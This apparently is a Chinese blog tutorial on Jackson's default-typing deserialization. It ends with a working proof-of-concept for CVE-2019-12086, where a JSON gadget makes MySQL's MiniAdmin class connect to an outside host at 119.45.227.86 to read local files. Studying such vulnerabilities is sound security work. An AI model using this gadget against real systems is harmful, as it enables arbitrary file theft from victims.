jackson和fastjson差不多,都是用來更方便的處理json

  國人用fastjson,老外用jackson/gson比較多

  環境搭建:

    pom.xml:

<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.25</version>
</dependency> <dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>

  Student.java:

package com.test.JackSonTest;

public class Student{
private String name;
private Integer age;
private Teacher teacher; public Student(){
System.out.println("student構造方法被呼叫");
}; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Teacher getTeacher() {
return teacher;
} public void setTeacher(Teacher teacher) {
this.teacher = teacher;
} @Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}

    Teacher.java:

     

package com.test.JackSonTest;

public class Teacher{
private String name;
private int age; public Teacher(){
System.out.println("teacher構造方法被呼叫");
};
public Teacher(String name,int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Teacher{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

  測試類:  

@Test
public void test1() throws IOException {
//序列化 物件轉json字串資料
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化,json字串資料轉物件
String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}

  執行輸出:

    

student構造方法被呼叫
{"name":"jack","age":20,"teacher":{"name":"lua","age":33}}
student構造方法被呼叫
teacher構造方法被呼叫
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 發現在反序列化(json轉物件)的時候,優先呼叫構造方法,如果反序列化的json資料中的類繼承了其他類,會自動呼叫其父類無參構造方法

  

  Jackson列印物件型別:  

@Test
public void test2() throws IOException {
//序列化 物件轉json字串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串時,在值上打印出物件型別
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字串轉物件
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}

  執行輸出:

  

student構造方法被呼叫
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student構造方法被呼叫
teacher構造方法被呼叫
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 這個很重要,jackson的很多漏洞跟他息息相關:

    通過上面的程式碼可以發現當開啟enableDefaultTyping的時候,json字串中的類會被反序列化.

  繼續編寫jackson測試:

  test_poc.java:

  

package com.test.JackSonTest;

public class test_poc {
public test_poc(){};
public test_poc(String name){
System.out.println(name);
}
}

  通過上面的程式碼,發現存在構造方法,一個無參,另一個有引數構造方法

  jackson反序列化:

  測試類:

    

 @Test
public void test3() throws IOException {
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串時,在值上打印出物件型別
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
//自定義構造
String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]";
objectMapper.readValue(jsonResult,test_poc.class);
}

  

    發現在[]中設定value,相當於是為構造方法新增新的引數

      

 通過前面的前置知識鋪墊,jackson瞭解到的相關基礎:(1)如果想使用[]去完成反序列化攻擊,必須要開啟enableDefaultTyping,獲取到物件型別 (2)反序列化的時候自動呼叫物件構造方法及父類構造方法  (3)有參構造方法不需要設定值,不像setName/getName那樣,需要"name":"test",只要[類,值]即可完成填充

  CVE-2019-12086是一個檔案讀取漏洞,直接檢視他的利用鏈:利用環境在文章第一行已建立:

    漏洞檔案在:

      repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:

    通過反射載入跟進去:

      

  問題程式碼:

    

 public MiniAdmin(String jdbcUrl) throws SQLException {
this(jdbcUrl, new Properties());
} public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props));
}

    前面我們已經學習了足夠多的前置知識,這裡會連線jdbcUrl,如果jdbcUrl可控,會發送連結,正好mysql8以下存在任意檔案讀取...下面直接構造exp:

    attackerJdbc.java:

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin; import java.io.IOException;
import java.sql.SQLException; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("com.mysql.jdbc.MiniAdmin");
//一定要開啟enableDefaultTyping
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
//通過前面的知識點學習知道,如果這樣構造,就會自動給MiniAdmin類的有參構造方法傳入string型別資料,資料內容為:jdbc:mysql://119.45.227.86:123/
String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]";
objectMapper.readValue(json,Object.class);
}
}

  不理解部分檢視註釋:

    執行程式碼:

    

  這個漏洞相對簡單,所以就不跟底層機制了.

   如果後續要找相關利用鏈,也可以用這個方法操作下..

漏洞學習參考:

https://b1ue.cn/archives/189.html

https://www.cnblogs.com/xinzhao/p/11005419.html